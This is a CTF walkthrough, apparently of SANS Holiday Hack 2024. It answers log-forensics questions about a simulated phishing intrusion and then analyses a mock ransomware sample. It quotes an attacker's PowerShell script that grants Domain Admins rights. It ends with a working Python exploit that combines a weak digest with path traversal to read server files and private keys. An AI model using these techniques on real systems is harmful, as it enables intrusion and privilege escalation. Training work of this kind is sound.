"Received_Time": "2024-09-15T10:36:09-04:00",
"ReceivedIP1": "172.24.25.25",
"ReceivedIP2": "34.30.110.62"
}
Elf Stack SIEM: We can use the Field statistics and check the event.ReceivedIP2
field, and click on the Action button to the right of the field that will Explore in Lens
. We can then see the top 10 values, change the view to Tabular, and add the event.From
field.
Answer: kriskring1e@northpole.local
Q5: Our ElfSOC analysts need your help identifying the hostname of the domain computer that established a connection to the attacker after receiving the phishing email from the previous question. You can take a look at our GreenCoat proxy logs as an event source. Since it is a domain computer, we only need the hostname, not the fully qualified domain name (FQDN) of the system.
cat *.log | grep WindowsEvent | cut -d ' ' -f8- | jq -r 'select(.SubjectUserName == "elf_user02") | .Hostname' | sort | uniq -c
SleighRider.northpole.local
Elf Stack SIEM: We can filter on greater than or equal from the @timestamp
the phishing email got sent and the event.SubjectUserName
of the email to field. We can see the user only logs in from one host.
Answer: SleighRider
Q6: What was the IP address of the system you found in the previous question?
cat *.log | grep 'NetflowPmacct' | cut -d ' ' -f8- | jq -r 'select(.src_host == "SleighRider.northpole.local") | .ip_src' | sort | uniq -c
1822 172.24.25.12
Elf Stack SIEM: We can filter on the hostname SleighRider.northpole.local
and obtain the event.ip_src
field from the NetflowPmacct
event source.
Answer: 172.24.25.12
Q7: A process was launched when the user executed the program AFTER they downloaded it. What was that Process ID number (digits only please)?
cat *.log | grep 'WindowsEvent' | cut -d ' ' -f8- | jq -c 'select(.EventID == 1 and .Hostname == "SleighRider.northpole.local" and .CommandLine // empty) | {ProcessID,ParentCommandLine,CommandLine}' | grep 'Downloads' -A10
{"ProcessID":10014,"ParentCommandLine":"C:\\Windows\\Explorer.EXE","CommandLine":"\"C:\\Users\\elf_user02\\Downloads\\howtosavexmas\\howtosavexmas.pdf.exe\" "}
{"ProcessID":10014,"ParentCommandLine":"C:\\Windows\\system32\\services.exe","CommandLine":"cmd.exe /c echo ddpvccdbr > \\\\.\\pipe\\ddpvccdbr"}
{"ProcessID":10014,"ParentCommandLine":"\"C:\\Users\\elf_user02\\Downloads\\howtosavexmas\\howtosavexmas.pdf.exe\" ","CommandLine":"powershell.exe"}
...[snip]..
Elf Stack SIEM: We can filter on the email received time, hostname SleighRider.northpole.local
and process creation (Event ID 1) and retrieve the new process ID after executing the malware.
Answer: 10014
Q8: Did the attacker's payload make an outbound network connection? Our ElfSOC analysts need your help identifying the destination TCP port of this connection.
cat *.log | grep 'WindowsEvent' | cut -d ' ' -f8- | jq -c 'select(.ProcessID == 10014 and .DestinationPort // empty) | {DestinationIp, DestinationPort}' | uniq -c
6 {"DestinationIp":"172.24.25.25","DestinationPort":808}
6 {"DestinationIp":"172.24.25.25","DestinationPort":143}
1 {"DestinationIp":"103.12.187.43","DestinationPort":8443}
11 {"DestinationIp":"172.24.25.153","DestinationPort":389}
Elf Stack SIEM: We can filter on the email received time, hostname SleighRider.northpole.local
and network connection (Event ID 3) and retrieve the destination TCP port after executing the malware.
Answer: 8443
Q9: The attacker escalated their privileges to the SYSTEM account by creating an inter-process communication (IPC) channel. Submit the alpha-numeric name for the IPC channel used by the attacker.
cat *.log | grep 'WindowsEvent' | cut -d ' ' -f8- | jq -r 'select(.ProcessID == 10014 and .CommandLine // empty) | .CommandLine' | grep 'pipe'
cmd.exe /c echo ddpvccdbr > \\.\pipe\ddpvccdbr
Elf Stack SIEM: Building on from the Hard Mode (Gold) question 8, we can filter on event.ProcessID
of the malware and see the pipe creation \\.\pipe\
in event.CommandLine
.
Answer: ddpvccdbr
Q10: The attacker's process attempted to access a file. Submit the full and complete file path accessed by the attacker's process.
cat *.log | grep 'WindowsEvent' | cut -d ' ' -f8- | jq -r 'select(.ProcessID == 10014 and .ObjectName // empty) | .ObjectName'
C:\Users\elf_user02\Desktop\kkringl315@10.12.25.24.pem
Elf Stack SIEM: Building on from the Hard Mode (Gold) question 8, we can filter on event.ProcessID
of the malware and Object Access, which includes files.
Answer: C:\Users\elf_user02\Desktop\kkringl315@10.12.25.24.pem
Q11: The attacker attempted to use a secure protocol to connect to a remote system. What is the hostname of the target server?
cat *.log | grep 'AuthLog' | grep -F '10.12.25.24'
<134>1 2024-09-15T06:55:21-04:00 kringleSSleigH AuthLog - - - {"timestamp": "2024-09-15T09:55:21.345567-04:00", "hostname": "kringleSSleigH", "service": "sshd[6005]:", "message": "Connection from 34.30.110.62 port 39720 on 10.12.25.24 port 22 rdomain \"\""}
<134>1 2024-09-15T06:55:23-04:00 kringleSSleigH AuthLog - - - {"timestamp": "2024-09-15T09:55:23.345567-04:00", "hostname": "kringleSSleigH", "service": "sshd[6006]:", "message": "Connection from 34.30.110.62 port 39721 on 10.12.25.24 port 22 rdomain \"\""}
...[snip]..
Elf Stack SIEM: We can identify the SSH traffic from the AuthLog
event source and filter on only logs after the malware detonation.
Answer: kringleSSleigH
Q12: The attacker created an account to establish their persistence on the Linux host. What is the name of the new account created by the attacker?
cat *.log | grep 'AuthLog' | grep -o 'COMMAND=[^"]*' | uniq
COMMAND=/usr/bin/su
COMMAND=/usr/sbin/adduser ssdh
COMMAND=/usr/sbin/usermod -a -G sudo ssdh
COMMAND=/usr/bin/crontab -
COMMAND=/usr/bin/crontab -l
COMMAND=/usr/sbin/service cron restart
COMMAND=/usr/bin/cat /etc/crontab
COMMAND=/usr/bin/cat /var/spool/cron/crontabs/root
Elf Stack SIEM: We can identify the SSH traffic from the AuthLog
event source and filter on only logs after the malware detonation and any commands executed.
Answer: ssdh
Q13: The attacker wanted to maintain persistence on the Linux host they gained access to and executed multiple binaries to achieve their goal. What was the full CLI syntax of the binary the attacker executed after they created the new user account?
See Hard Mode (Gold) question 13.
Answer: /usr/sbin/usermod -a -G sudo ssdh
Q14: The attacker enumerated Active Directory using a well known tool to map our Active Directory domain over LDAP. Submit the full ISO8601 compliant timestamp when the first request of the data collection attack sequence was initially recorded against the domain controller.
jq -c 'select(.ServicePort == 389 // empty) | {Date,Computer,UserID}' winevents.log | head -n1
{"Date":"2024-09-16T11:10:12-04:00","Computer":"dc01.northpole.local","UserID":"elf_user@northpole.local"}
Elf Stack SIEM: Identified the correct fields based event.UserID
matching up to the victim of elf_user
and on LDAP services TCP port 389.
Answer: 2024-09-16T11:10:12-04:00
Q15: The attacker attempted to perform an ADCS ESC1 attack, but certificate services denied their certificate request. Submit the name of the software responsible for preventing this initial attack.
{
"LogName": "Security",
"Source": "Microsoft-Windows-Security-Auditing",
"Date": "2024-09-16T11:14:12-04:00",
"EventID": 4888,
"Category": "Certification Services - Certificate Request Denied",
"Level": "Information",
"Keywords": "Audit Failure",
"User": "N/A",
"Computer": "dc01.northpole.local",
"Description": "A certificate request was made for a certificate template, but the request was denied because it did not meet the criteria.",
"UserInformation_UserName": "elf_user@northpole.local",
"CertificateInformation_CertificateAuthority": "elf-dc01-SeaA",
"CertificateInformation_RequestedTemplate": "Administrator",
"ReasonForRejection": "KringleGuard EDR flagged the certificate request.",
"AdditionalInformation_RequesterComputer": "10.12.25.24",
"AdditionalInformation_RequestedUPN": "administrator@northpole.local"
}
{
"LogName": "Security",
"Source": "Microsoft-Windows-Security-Auditing",
"Date": "2024-09-16T11:15:12-04:00",
"EventID": 4886,
"Category": "Certification Services - Certificate Issuance",
"Level": "Information",
"Keywords": "Audit Success",
"User": "N/A",
"Computer": "dc01.northpole.local",
"Description": "A certificate was issued to a user.",
"UserInformation_UserName": "elf_user@northpole.local",
"UserInformation_UPN": "nutcrakr@northpole.local",
"CertificateInformation_CertificateAuthority": "elf-dc01-SeaA",
"CertificateInformation_CertificateTemplate": "ElfUsers",
"AdditionalInformation_RequesterComputer": "10.12.25.24",
"AdditionalInformation_CallerComputer": "172.24.25.153"
}
Elf Stack SIEM: Identified the correct fields based on the event.UserID
matching up to the victim of elf_user
and certificate services.
Answer: KringleGuard
Q16: We think the attacker successfully performed an ADCS ESC1 attack. Can you find the name of the user they successfully requested a certificate on behalf of?
See Hard Mode (Gold) question 15.
Answer: nutcrakr
Q17: One of our file shares was accessed by the attacker using the elevated user account (from the ADCS attack). Submit the folder name of the share they accessed.
cat *.log | grep 'WindowsEvent' | cut -d ' ' -f8- | grep 'nutcrakr' | grep 'share' | head -n1 | jq -r '.ShareLocalPath'
\??\C:\WishLists
Elf Stack SIEM: Identified the correct fields based on the event.UserID
matching up to the victim of nutcrakr
and accessed share.
Answer: WishLists
Q18: The naughty attacker continued to use their privileged account to execute a PowerShell script to gain domain administrative privileges. What is the password for the account the attacker used in their attack payload?
Found the last command run by nutcrakr
in CLI. Because the field was too long, it couldn't be searched for.
cat *.log | grep 'WindowsEvent' | cut -d ' ' -f8- | grep 'nutcrakr' | tail -n1 | jq -r .ScriptBlockText
Add-Type -AssemblyName System.DirectoryServices
$ldapConnString = "LDAP://CN=Domain Admins,CN=Users,DC=northpole,DC=local"
$username = "nutcrakr"
$pswd = 'fR0s3nF1@k3_s'
$nullGUID = [guid]'00000000-0000-0000-0000-000000000000'
$propGUID = [guid]'00000000-0000-0000-0000-000000000000'
$IdentityReference = (New-Object System.Security.Principal.NTAccount("northpole.local\$username")).Translate([System.Security.Principal.SecurityIdentifier])
$inheritanceType = [System.DirectoryServices.ActiveDirectorySecurityInheritance]::None
$ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $IdentityReference, ([System.DirectoryServices.ActiveDirectoryRights] "GenericAll"), ([System.Security.AccessControl.AccessControlType] "Allow"), $propGUID, $inheritanceType, $nullGUID
$domainDirEntry = New-Object System.DirectoryServices.DirectoryEntry $ldapConnString, $username, $pswd
$secOptions = $domainDirEntry.get_Options()
$secOptions.SecurityMasks = [System.DirectoryServices.SecurityMasks]::Dacl
$domainDirEntry.RefreshCache()
$domainDirEntry.get_ObjectSecurity().AddAccessRule($ACE)
$domainDirEntry.CommitChanges()
$domainDirEntry.dispose()
$ldapConnString = "LDAP://CN=Domain Admins,CN=Users,DC=northpole,DC=local"
$domainDirEntry = New-Object System.DirectoryServices.DirectoryEntry $ldapConnString, $username, $pswd
$user = New-Object System.Security.Principal.NTAccount("northpole.local\$username")
$sid=$user.Translate([System.Security.Principal.SecurityIdentifier])
$b=New-Object byte[] $sid.BinaryLength
$sid.GetBinaryForm($b,0)
$hexSID=[BitConverter]::ToString($b).Replace('-','')
$domainDirEntry.Add("LDAP://<SID=$hexSID>")
$domainDirEntry.CommitChanges()
$domainDirEntry.dispose()
Answer: fR0s3nF1@k3_s
Q19: The attacker then used remote desktop to remotely access one of our domain computers. What is the full ISO8601 compliant UTC EventTime
when they established this connection?
cat *.log | grep 'WindowsEvent' | cut -d ' ' -f8- | jq -r 'select(.LogonType==10) | .EventTime' | sort -u
2024-09-16 11:35:57
Elf Stack SIEM: Identified via filtering by LogonType
10, per Logon Type it indicates a Remote Interactive Logon that is associated with Remote Desktop Protocol (RDP) sessions.
Answer: 2024-09-16T15:35:57.000Z
Q20: The attacker is trying to create their own naughty and nice list! What is the full file path they created using their remote desktop connection?
cat *.log | grep 'WindowsEvent' | cut -d ' ' -f8- | jq -r 'select(.User=="NORTHPOLE\\nutcrakr" and .CommandLine // empty) | .CommandLine' | grep -F 'C:\'
...[snip]..
"C:\Windows\system32\NOTEPAD.EXE" C:\WishLists\santadms_only\its_my_fakelst.txt
"C:\Users\nutcrakr\Desktop\getthelist\howtosavexmas.pdf.exe"
Elf Stack SIEM: Filtered the logs based on the RDP connection established, command line existence, and the user connected of nutcrakr
.
Answer: C:\WishLists\santadms_only\its_my_fakelst.txt
Q21: The Wombley faction has user accounts in our environment. How many unique Wombley faction users sent an email message within the domain?
cat *.log | grep 'SnowGlowMailPxy' | cut -d ' ' -f8- | jq -r 'select(.From | startswith("wcub")) | .From' | sort | uniq -c | sort -n
23 wcub101@northpole.local
32 wcub303@northpole.local
33 wcub808@northpole.local
35 wcube311@northpole.local
Elf Stack SIEM: Filtering on event.From
with wcub
shorthand for Wombley Cube.
Answer: 4
Q22: The Alabaster faction also has some user accounts in our environment. How many emails were sent by the Alabaster users to the Wombley faction users?
cat *.log | grep 'SnowGlowMailPxy' | cut -d ' ' -f8- | jq -c 'select((.From | startswith("asnow")) and (.To | startswith("wcub")))' | wc -l
22
Elf Stack SIEM: Filtering on event.From
with asnow
shorthand for Alabaster Snowball and event.To
with wcub
for Wombley Cube.
`
Answer: 22
Q23: Of all the reindeer, there are only nine. What's the full domain for the one whose nose does glow and shine? To help you narrow your search, search the events in the SnowGlowMailPxy
event source.
cat *.log | grep 'SnowGlowMailPxy' | cut -d ' ' -f8- | grep -i 'rud' | head -n1 | jq .
{
"From": "SnowDriftSculptor@rud01ph.glow",
"To": "elf_user03@northpole.local",
"Subject": "Advancing our Sustainability Efforts",
"Date": null,
"Message-ID": "<B1F12AAE-6C1A-4218-A6B7-708FDCF0AF45@SecureElfGwy.northpole.local>",
"Return-Path": "NorthPolePostmaster@northpole.exchange",
"Body": "Dear elf_user03,\n\nI hope this email finds you settled into another productive week at the North Pole. As we continue to evolve and thrive in the digitized world, it is crucial for our organization to embrace our responsibility towards environmental sustainability. Today, I wanted to reach out and share some exciting updates on our ongoing efforts in this area.\n\nFirst and foremost, I am delighted to announce that we have successfully implemented a new energy-efficient server infrastructure across our data centers. This transition not only ensures enhanced performance and security but also reduces our carbon footprint significantly. By optimizing our power consumption, we are actively contributing to the conservation of resources while maintaining a seamless user experience.\n\nIn addition to our data centers, our company-wide commitment to sustainability extends to our daily operations as well. Starting next month, we will be introducing a comprehensive recycling program throughout the North Pole. Dedicated recycling stations will be strategically placed across each office floor, making it convenient for everyone to dispose of their waste responsibly. I encourage you to actively participate and join us in our pursuit of minimizing our environmental impact.\n\nFurthermore, I'm thrilled to inform you that a task force has been formed to explore renewable energy possibilities for our facilities. This team is currently assessing the feasibility of installing solar panels on our office rooftops, which would allow us to harness clean energy and further reduce our reliance on non-renewable sources. We will keep you informed of any developments and welcome your input and ideas along the way.\n\nLastly, we are in the early stages of developing a comprehensive remote work policy. By embracing the benefits of telecommuting, we can significantly reduce commuting-related emissions and foster a more sustainable work environment. This initiative will not only improve work-life balance but also positively impact our urban communities. We look forward to sharing further updates on this as we move forward.\n\nIt is with great enthusiasm that we embark on these sustainability endeavors and integrate them into the core fabric of our operations. Together, we can make a meaningful difference and position the North Pole as a leader in responsible corporate citizenship.\n\nThank you for your ongoing dedication and support. If you have any suggestions, questions, or would like to get involved in our sustainability initiatives, please don't hesitate to reach out.\n\nBest regards,\n\nSnowDriftSculptor\n",
"Received_Time": "2024-09-15T08:38:02-04:00",
"ReceivedIP1": "172.24.25.25",
"ReceivedIP2": "172.24.25.20"
}
Elf Stack SIEM: The question hints at Rudolph. " Filtering on wildcard *rud*
leads to the full domain.
Answer: rud01ph.glow
Q24: With a fiery tail seen once in great years, what's the domain for the reindeer who flies without fears? To help you narrow your search, search the events in the SnowGlowMailPxy
event source.
cat *.log | grep 'SnowGlowMailPxy' | cut -d ' ' -f8- | grep -i 'halley' | head -n1 | jq .
{
"From": "NorthStarNibbler@c0m3t.halleys",
"To": "wcube311@northpole.local",
"Subject": "Improving our Impact with Embracing Leadership and Fellowship",
"Date": null,
"Message-ID": "<16994AD7-4A01-4AC8-994B-B3DF0E2B11AD@SecureElfGwy.northpole.local>",
"Return-Path": "NorthPolePostmaster@northpole.exchange",
"Body": "Dear wcube311,\n\nI hope this email finds you having a productive day. I just wanted to reach out and discuss the importance of Embracing Leadership and Fellowship (ELF) initiatives within our organization. By actively participating in ELF programs, we can enhance our positive impact on the community, environment, and the world at large. Let's explore ways in which we can integrate ELF practices into our business model and contribute to a better tomorrow.\n\nBest regards,\nNorthStarNibbler\n",
"Received_Time": "2024-09-15T10:49:22-04:00",
"ReceivedIP1": "172.24.25.25",
"ReceivedIP2": "172.24.25.20"
}
Elf Stack SIEM: The question hints at Halley's Comet with the clue, "With a fiery tail seen once in great years." Filtering on wildcard *halleys*
leads to the full domain.
Answer: c0m3t.halleys
After submitting the last answer - Congratulations! Your results have been recorded.
, and we obtain the gold challenge award.
Achievement
Congratulations! You have completed the [Gold] Elf Stack challenge!
Termination⚓︎
We can cleanup the ELF Stack SIEM with:
Decrypt the Naughty-Nice List⚓︎
Decrypt the Frostbit-encrypted Naughty-Nice list and submit the first and last name of the child at number 440 in the Naughty-Nice list.
Previously in Act 2, when speaking with Dusty Giftwrap, we obtained the following hints:
Frostbit Hashing
The Frostbit infrastructure might be using a reverse proxy, which may resolve certain URL encoding patterns before forwarding requests to the backend application. A reverse proxy may reject requests it considers invalid. You may need to employ creative methods to ensure the request is properly forwarded to the backend. There could be a way to exploit the cryptographic library by crafting a specific request using relative paths, encoding to pass bytes and using known values retrieved from other forensic artifacts. If successful, this could be the key to tricking the Frostbit infrastructure into revealing a secret necessary to decrypt files encrypted by Frostbit.
Frostbit Dev Mode
There's a new ransomware spreading at the North Pole called Frostbit. Its infrastructure looks like code I worked on, but someone modified it to work with the ransomware. If it is our code and they didn't disable dev mode, we might be able to pass extra options to reveal more information. If they are reusing our code or hardware, it might also be broadcasting MQTT messages.
Frostbit Crypto
The Frostbit ransomware appears to use multiple encryption methods. Even after removing TLS, some values passed by the ransomware seem to be asymmetrically encrypted, possibly with PKI. The infrastructure may also be using custom cryptography to retrieve ransomware status. If the creator reused our cryptography, the infrastructure might depend on an outdated version of one of our libraries with known vulnerabilities. There may be a way to have the infrastructure reveal the cryptographic library in use.
Frostbit Forensics
I'm with the North Pole cyber security team. We built a powerful EDR that captures process memory, network traffic, and malware samples. It's great for incident response - using tools like strings to find secrets in memory, decrypt network traffic, and run strace
to see what malware does or executes.
Navigating to the South-East point on the map to Tangle Coalbox, we obtain information on our next challenge of Deactivate Frostbit.
After clicking on the terminal challenge, we are presented with a button to generate and download challenge artifacts of frostbitartifacts.zip
. Note: You may need to redownload them as it is has a time limit and is different for everyone.
Analyzing the files:
unzip frostbitartifacts.zip
cd frostbitartifacts
file *
DoNotAlterOrDeleteMe.frostbit.json: JSON text data
frostbit_core_dump.13: ELF 64-bit LSB core file, x86-64, version 1 (SYSV), bad note name size 0xb5ec7860
frostbit.elf: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, Go BuildID=twFnsUORqqujpF2IKOpc/fGToVu04lOziSdznrxR4/fBxGnDHL6jeZzih8PnXE/rTwd9D0xXFzB6_Ua8NW1, with debug_info, not stripped
naughty_nice_list.csv.frostbit: data
ransomware_traffic.pcap: pcap capture file, microsecond ts (little-endian) - version 2.4 (Ethernet, capture length 262144)
The DoNotAlterOrDeleteMe.frostbit.json
is from the challenge generation:
Using radare2 to look into functions in ELF:
r2 -AAAA frostbit.elf
[0x00475d80]> afl
0x006a0c40 13 266 sub.main.generateKey_6a0c40
0x006a0d60 25 1497 sub.main.encryptFile_6a0d60
0x006a1340 8 76 sub.main.encryptFile.deferwrap1_6a1340
0x006a13a0 5 50 sub.main.encryptFile.func1_6a13a0
0x006a13e0 10 783 sub.main.openUrlQuietly_6a13e0
0x006a1720 8 76 sub.main.openUrlQuietly.deferwrap1_6a1720
0x006a1780 31 1751 sub.main.GetNonce_6a1780
0x006a1e60 5 50 sub.main.GetNonce.func1_6a1e60
0x006a1ea0 6 67 sub.main.GetNonce.deferwrap1_6a1ea0
0x006a1f00 19 725 sub.main.LoadPublicKeyFromFile_6a1f00
0x006a21e0 5 50 sub.main.LoadPublicKeyFromFile.func1_6a21e0
0x006a2220 146 6425 sub.main.runit_6a2220
0x006a3b40 8 76 sub.main.runit.deferwrap3_6a3b40
0x006a3ba0 6 67 sub.main.runit.deferwrap2_6a3ba0
0x006a3c00 8 76 sub.main.runit.deferwrap1_6a3c00
0x006a3c60 12 272 sub.main.main_6a3c60
This appears to be the file that is doing the encryption on the victim computer. Lets move on to the other files.
Analyzing PCAP - Decrypting TLS⚓︎
The ransomware traffic captured in Wireshark is fully encrypted. However, we can decrypt this traffic if we obtain the Pre-Master Secret key generated during the TLS handshake. The Pre-Master Secret key is critical for decrypting TLS-encrypted traffic, as it is used to derive the session keys that encrypt the data. If you have access to the Pre-Master Secret key (typically obtained from the client or server during the handshake), you can decrypt the encrypted traffic captured in Wireshark.
Finding TLS secrets in the core dump:
strings frostbit_core_dump.13 | grep -i 'secret' | sort -u
CLIENT_HANDSHAKE_TRAFFIC_SECRET 36f18f8a8e088348e29202ff25d1d477ce46cc1d420c3cdbf017d85a86409c29 0da60fea19e66760c9646f465fc088ce5a208c812ca442096cab5f95750416c8
CLIENT_TRAFFIC_SECRET_0 36f18f8a8e088348e29202ff25d1d477ce46cc1d420c3cdbf017d85a86409c29 7709f54cc52b7a0b6cdcd7535629b315bed7a7d5c78bfc7ef0b96a70074aff3d
SERVER_HANDSHAKE_TRAFFIC_SECRET 36f18f8a8e088348e29202ff25d1d477ce46cc1d420c3cdbf017d85a86409c29 6bcd6f27d1d476dedbc0b0c5f47e482a3392f379dea9bfb701b342849a34959f
SERVER_TRAFFIC_SECRET_0 36f18f8a8e088348e29202ff25d1d477ce46cc1d420c3cdbf017d85a86409c29 d3f6209db279f6613edc6c1d16f42b425df6656b7f11bef3274cf6072aad94b4
We can now decrypt the PCAP, lets save these keys as tls.keys
and open Wireshark, go to Edit > Preferences > Protocols > TLS
, Under the "Pre-Master Secret log filename" field, specify the path to your tls.keys
file.
Once the file is loaded, we can follow the HTTP stream in Wireshark by Right-Click -> Follow
-> HTTP Stream
and Show as ASCII:
GET /api/v1/bot/ad8d6114-ee3b-42af-b121-1d255d07a058/session HTTP/1.1
Host: api.frostbit.app
User-Agent: Go-http-client/1.1
Accept-Encoding: gzip
HTTP/1.1 200 OK
Server: nginx/1.27.1
Date: Thu, 02 Jan 2025 22:16:05 GMT
Content-Type: application/json
Content-Length: 29
Connection: keep-alive
Strict-Transport-Security: max-age=31536000
{"nonce":"ce2c7df18ccefb33"}
POST /api/v1/bot/ad8d6114-ee3b-42af-b121-1d255d07a058/key HTTP/1.1
Host: api.frostbit.app
User-Agent: Go-http-client/1.1
Content-Length: 1070
Content-Type: application/json
Accept-Encoding: gzip
{"encryptedkey":"a1b874bfd1836045214cf994c9f8e4b7393b29a64c54c78499df9166ec3dc5e5f6b6e5881ef3472b33dd35e683f69950bdec9616f4a339cf15b11a65914f79c5ab7d1e66de5d921e9e9219988bad06136035977fde3f47e4ce3e71150a47f05d601dab9d9f0fb63d18e3ac9c237be576fdd3a3acb89baa6befefdec70cdcfecf7c1eea9a9849490326c4c26499cc4bfbd97b202f720a6130ef46a50f1a7b580ea476997fc1908596b8c86574afc7a839a31a95e4243956072f557efcb38227fff57e3cab32bc522cc22cc5e60bb4b8718c1ad37dc8a8e7c5727c5fb16d859471b0a04c6065de2d9b09ed953ccb67a9157fd43e1c5d6f59985726e59cc9855703c066fdc0d0605a05cabf57d80e880934227a5740a36d01dfcc00c81380580e8e143a0c65920741007e7682b74349660a086e73e0d1e871f17428d834d7bf4c4b61e22ece9505b2e9dfa4b95aa77c12a143179414e0e18066e97e09c45ba7f50aede2c02f5bc60ff00ba1fb4f92606c81416119536ed980ff8c97c4755127213cc8c5c2d7f7f3725110f5f8454c972ba2d51cf9d2204dbcc0206134288abb9e51fad55e326b5cd07627930f3eedb503dd69b9145f27efb1f4ffcc49022bbc47b3d5e5c4570b043949f5e082a5b85f83d2f81807545d337a3601d5b0f6b7cc60ca74b402b06123fd1484bcc9550d4f86450ab2ccd281293b5f0e8795e82b8ac8e7","nonce":"ce2c7df18ccefb33"}
HTTP/1.1 200 OK
Server: nginx/1.27.1
Date: Thu, 02 Jan 2025 22:16:05 GMT
Content-Type: application/json
Content-Length: 90
Connection: keep-alive
Strict-Transport-Security: max-age=31536000
{"digest":"82082494c4828800806004e6ab83fc0c","status":"Key Set","statusid":"y0CmYIcVQMS"}
Lets save the encryptedkey
from the request above to a file encryptedkey.json
for use in decryption later.
echo -n '{"encryptedkey":"a1b874bfd1836045214cf994c9f8e4b7393b29a64c54c78499df9166ec3dc5e5f6b6e5881ef3472b33dd35e683f69950bdec9616f4a339cf15b11a65914f79c5ab7d1e66de5d921e9e9219988bad06136035977fde3f47e4ce3e71150a47f05d601dab9d9f0fb63d18e3ac9c237be576fdd3a3acb89baa6befefdec70cdcfecf7c1eea9a9849490326c4c26499cc4bfbd97b202f720a6130ef46a50f1a7b580ea476997fc1908596b8c86574afc7a839a31a95e4243956072f557efcb38227fff57e3cab32bc522cc22cc5e60bb4b8718c1ad37dc8a8e7c5727c5fb16d859471b0a04c6065de2d9b09ed953ccb67a9157fd43e1c5d6f59985726e59cc9855703c066fdc0d0605a05cabf57d80e880934227a5740a36d01dfcc00c81380580e8e143a0c65920741007e7682b74349660a086e73e0d1e871f17428d834d7bf4c4b61e22ece9505b2e9dfa4b95aa77c12a143179414e0e18066e97e09c45ba7f50aede2c02f5bc60ff00ba1fb4f92606c81416119536ed980ff8c97c4755127213cc8c5c2d7f7f3725110f5f8454c972ba2d51cf9d2204dbcc0206134288abb9e51fad55e326b5cd07627930f3eedb503dd69b9145f27efb1f4ffcc49022bbc47b3d5e5c4570b043949f5e082a5b85f83d2f81807545d337a3601d5b0f6b7cc60ca74b402b06123fd1484bcc9550d4f86450ab2ccd281293b5f0e8795e82b8ac8e7","nonce":"ce2c7df18ccefb33"}' > encryptedkey.json
From the MQTT hint regarding frostbit
, we recall in the Santa Vision challenge, there was a frostbitfeed
we subscribed to that also had the domain api.frostbit.app
.
topic: frostbitfeed, qos: 0
Let's Encrypt cert for api.frostbit.app verified. at path /etc/nginx/certs/api.frostbit.app.key
The api.frostbit.app.key
might be relevant to obtain and could have encrypted the key to form the encryptedkey
.
Frostbit App Website⚓︎
Identifying URLs:
strings frostbit_core_dump.13 | grep '^https:' | sort -u
https://api.frostbit.app/api/v1/bot/ad8d6114-ee3b-42af-b121-1d255d07a058/session
https://api.frostbit.app/api/v1/bot/ad8d6114-ee3b-42af-b121-1d255d07a058/key
https://api.frostbit.app/view/y0CmYIcVQMS/ad8d6114-ee3b-42af-b121-1d255d07a058/status?digest=82082494c4828800806004e6ab83fc0c
Checking the status at the Frostbit website:
Analyzing the source of the website, we find a debugData
variable. Lets try parameters that are centered around debugging.
<!-- Placeholder for Debug Data -->
<div id="debug" style="margin-top: 20px;"></div>
// Default values with placeholders for data passed from the server-side Python script
const isExpired = false;
const expiryTime = 1766534400;
const uuid = "ad8d6114-ee3b-42af-b121-1d255d07a058";
const debugData = false;
const deactivated = false;
const decryptedkey = false;
// Decode base64 debug data if it's not "false"
let decodedDebugData = null;
if (debugData) {
try {
decodedDebugData = atob(debugData);
} catch (e) {
console.error('Error decoding debug data: ', e, debugData);
decodedDebugData = "Error decoding debug data. " + e + " " + debugData;
}
}
At URL, attempting to put a parameter debug=1
provides us with debug data at the bottom of the page:
{
"deactivated": false,
"encryptedkey": "REDACTED",
"etime": 1766534400,
"nonce": "REDACTED",
"uuid": "ad8d6114-ee3b-42af-b121-1d255d07a058"
}
At URL, we can cause an error in debug mode stating Status Id File Not Found
if corrupting the /y0CmYIcVQMS/
. The path could be a filename.
At URL, we can cause an error in debug mode with providing the wrong-size digest, as shown:
jq -r .error
Status Id File Digest Validation Error: Traceback (most recent call last):
File "/app/frostbit/ransomware/static/FrostBiteHashlib.py", line 55, in validate
decoded_bytes = binascii.unhexlify(hex_string)
binascii.Error: Odd-length string
We can deduce the path of FrostBiteHashlib.py
is accessible at the web path /static/FrostBiteHashlib.py to obtain the source code:
When reviewing the source code, we observe a flaw in the hash computation process, particularly on line 20. If the variable xrd
is 0, the expression hash_result[count_mod] & xrd
will always result in 0, since any value AND-ed with 0 is 0. This flaw allows us to craft an HTTP request with file_bytes
that start with nonce_bytes
to result in a 0 hash_result
which is the digest. Along with appending directory traversal ../
segments, we can effectively access any file on the system with an absolute file path including /etc/passwd
or the frostbit app key: /etc/nginx/certs/api.frostbit.app.key
mentioned previously.
for i in range(len(self.file_bytes)):
xrd = self.file_bytes[i] ^ self.nonce_bytes[i % self.nonce_bytes_length]
hash_result[count % self.hash_length] = hash_result[count % self.hash_length] ^ xrd
count += 1
The exploit below was generated below from the deduced URL Format: https://api.frostbit.app/view/{nonce}{nonce}{dirtraversal}{file_path}/{uuid}/status?debug=1&digest={digest}
.
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""This script exploits the crypto bug to make an all-zero digest.
Holiday Hack 2024 - Decrypt the Naughty-Nice List
"""
# Imports
import argparse
import requests
import os
from os.path import basename
from base64 import b64decode
from urllib.parse import quote_plus as urlencode
def durlencode(input):
return urlencode(urlencode(input))
def main(file):
# Constants
BASE_URL = "https://api.frostbit.app/view/"
NONCE = "ce2c7df18ccefb33"
UUID = "ad8d6114-ee3b-42af-b121-1d255d07a058"
OUTPUT_DIR = "out"
# base
url_payload = BASE_URL
# nonce
NONCE = NONCE * 2
url_payload += urlencode("%") + urlencode("%").join(NONCE[i : i + 2] for i in range(0, len(NONCE), 2)) + durlencode("/")
# relative_path filename - from MQTT
url_payload += durlencode("../" * 5 + file.lstrip("/"))
# uuid + digest + debug
digest = "0" * 32
url_payload += f"/{UUID}/status?digest={digest}&debug=1"
# Send GET request to the URL and store response
print(f"[*] File: {file} URL: {url_payload}")
r = requests.get(url_payload)
if 200 == r.status_code and "debugData" in r.text:
# Get debug data
start_index = r.text.find('const debugData = "') + len('const debugData = "')
end_index = r.text.find('";', start_index)
file_contents = b64decode(r.text[start_index:end_index]).decode()
file_contents = file_contents.replace("\0", "\n")
file_contents = file_contents.strip()
# print file
print(f"[+] File Contents of '{file}'")
print(file_contents)
# Save the filename to a file
os.makedirs(OUTPUT_DIR, exist_ok=True)
save_path = os.path.join(OUTPUT_DIR, os.path.basename(file))
save_path = "out/" + basename(file)
print(f"[+] Saving to {save_path}")
with open(save_path, "w") as f:
f.write(file_contents)
else:
print("[-] ERROR")
